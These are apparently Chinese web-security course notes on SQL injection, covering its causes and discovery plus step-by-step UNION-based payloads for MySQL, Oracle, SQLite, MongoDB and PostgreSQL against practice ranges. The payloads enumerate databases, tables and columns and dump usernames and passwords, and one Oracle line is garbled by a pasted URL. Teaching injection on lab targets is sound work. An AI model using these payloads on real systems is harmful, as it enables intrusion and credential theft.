知识点:
1、Web攻防-SQL注入-产生原理&应用因素
2、Web攻防-SQL注入-各类数据库类型利用
演示案例-WEB攻防-SQL注入-数据库类型&架构分层&符号干扰
一、数据库知识
1、数据库名,表名,列名,数据
2、自带数据库,数据库用户及权限
3、数据库敏感函数,默认端口(3306、1521、1433、6379等)
4、数据库查询方法(增删改查)
二、SQL注入产生原理
代码中执行的SQL语句存在可控变量导致
三、影响SQL注入的主要因素
1、数据库类型(权限操作)
2、数据操作方法(增删改查)
3、参数数据类型(符号干扰)
4、参数数据格式(加密编码等)
5、提交数据方式(数据包部分)
GET注入、POST注入、HTTP头注入
6、有无数据处理(无回显逻辑等)
延迟注入
四、常见SQL注入的利用过程
1、判断数据库类型
2、判断参数类型及格式
3、判断数据格式及提交
4、判断数据回显及防护
5、获取数据库名,表名,列名
6、获取对应数据及尝试其他利用
五、黑盒/白盒如何发现SQL注入
1、盲对所有参数进行测试
2、整合功能点脑补进行测试
白盒参考后期代码审计课程
六、利用过程
获取数据库名->表名->列名->数据(一般是关键数据,如管理员)
演示案例-WEB攻防-SQL注入-数据库类型&利用过程&发现思路
靶场
http://vulnweb.com/
https://mozhe.cn/Special/SQL_Injection
一、Access:已经基本淘汰 意义不大
二、Mssql
三、Mysql
https://mozhe.cn/Special/SQL_Injection
参考文章:https://blog.csdn.net/weixin_57524749/article/details/140618103
1、查看当前页面在数据库里的字段数
order by 5
2、获取数据库名
id=-1 union select 1,database(),3,4
3、获取表名
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
4、获取列名
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
5、获取相关数据
id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member
四、Oracle
参考文章:https://blog.csdn.net/A2893992091/article/details/141365829
and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables whehttps://blog.csdn.net/qq_32393893/article/details/103083240
1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual
and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name not in ('hu')
五、SQLite
参考文章: https://blog.csdn.net/qq_32393893/article/details/103083240
union select 1,name,sql,4 from sqlite_master limit 0,1
union select 1,name,password,4 from WSTMart_reg
六、MongoDB
参考文章:https://blog.csdn.net/m0_75036923/article/details/141364038
id=1'});return ({title:'1',content:'2
'});return ({content:tojson(db.getCollectionNames()),title:'1
'});return ({content:tojson(db.Authority_confidential.find()[0]),title:'
七、PostgreSQL
参考文章:https://blog.csdn.net/2401_88387979/article/details/144275425
and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users